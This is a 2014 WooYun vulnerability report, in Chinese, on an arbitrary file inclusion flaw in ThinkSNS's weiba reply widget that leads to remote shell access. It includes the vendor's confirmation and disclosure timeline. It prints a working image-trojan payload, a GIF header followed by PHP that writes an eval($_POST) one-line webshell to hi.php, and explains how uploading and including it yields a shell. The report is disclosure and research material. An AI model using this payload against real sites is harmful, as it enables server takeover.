漏洞概要 关注数(3) 关注此漏洞
缺陷编号: WooYun-2014-57567
漏洞标题: ThinkSNS任意文件包含2(可getshell)
相关厂商: ThinkSNS
漏洞作者: Ano_Tom
提交时间: 2014-04-18 14:25
公开时间: 2014-07-17 15:29
漏洞类型: 文件包含
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2014-04-18: 细节已通知厂商并且等待厂商处理中
2014-04-18: 厂商已经确认,细节仅向厂商公开
2014-04-21: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-06-12: 细节向核心白帽子及相关领域专家公开
2014-06-22: 细节向普通白帽子公开
2014-07-02: 细节向实习白帽子公开
2014-07-17: 细节向公众公开
简要描述:
对用户可控的数据未作足够过滤,结合变量覆盖漏洞直接getshell
详细说明:
问题,今天早上无聊又打开thinksns代码查看了一番
之前提交的漏洞,不知道厂商是怎么修复的
无意中看到这样的代码
/thinksns/apps/weiba/Lib/Widget/WeibaReplyWidget/WeibaReplyWidget.class.php 199行左右
看到了这样一个变量获取方式,
如此获取变量的方式,是非常糟糕的。看EasyTalk的用户提升漏洞
http://**.**.**.**/bugs/wooyun-2014-057371
他获取变量的方式是这样的,$userdata=$_POST["user"];造成权限提升漏洞
很明显,这样是很糟糕的。
那继续跟踪$var,但首先得搞清楚这个变量是从哪里get来的。仔细分析代码,
是在微吧里,如果用户a发了一个帖子,然后用户b回复了a的帖子,那再对b的回帖进行回复时,则触发了请求。
审查元素,数据是js动态传递的
js代码为
参数太多太繁杂,设置代理,用burpsuite查看连接请求,请求内容大致如下
载入repeater进行变量的追踪调试
在reply_reply()函数里添加var_dump($var);die;//查看响应
成功返回了用户添加的自定义变量,然后继续跟踪,变量进入了
$this->renderFile(dirname(__FILE__)."/reply_reply.html",$var);中
跟踪该函数
代码/thinksns/core/OpenSociax/Widget.class.php 73行左右
继续dump $var变量,跟踪,变量又进入了fetch函数里了
根据之前的漏洞测试,前提交的thinksns漏洞,不知道厂商是如何修复的,
此处按官方的原版函数
代码/thinksns/core/OpenSociax/functions.inc.php 939行左右
此函数不分析,上个漏洞已经有流程了,直接在最后
输出变量,查看用户可控的变量是否还在,结果如图
为了测试方便直接在目录上放置图片木马,成功包含后,会在根目录下生成一句话木马,具体的拿shell方法跟上个漏洞所提的方法一样。
注册普通用户,上传图片木马,图片木马嵌入代码为
gif89a<?php file_put_contents("hi.php","<?php @eval(\$_POST[a])?>");?>
2.上传图片,获得图片后,执行包含,则在根目录下生成hi.php
漏洞证明:
如上详细描述
修复方案:
首先变量那样获取是很糟糕的,其次是那个函数问题,酌情修复吧:)
版权声明:转载请注明来源 Ano_Tom@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:12
确认时间:2014-04-18 14:38
厂商回复:
和上一个是同一个bug,所以,稍微给你降一点分值吧。非常感谢!这个得在核心修复才能解决其他地方可能出现同类问题。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
0%
0%
0%
0%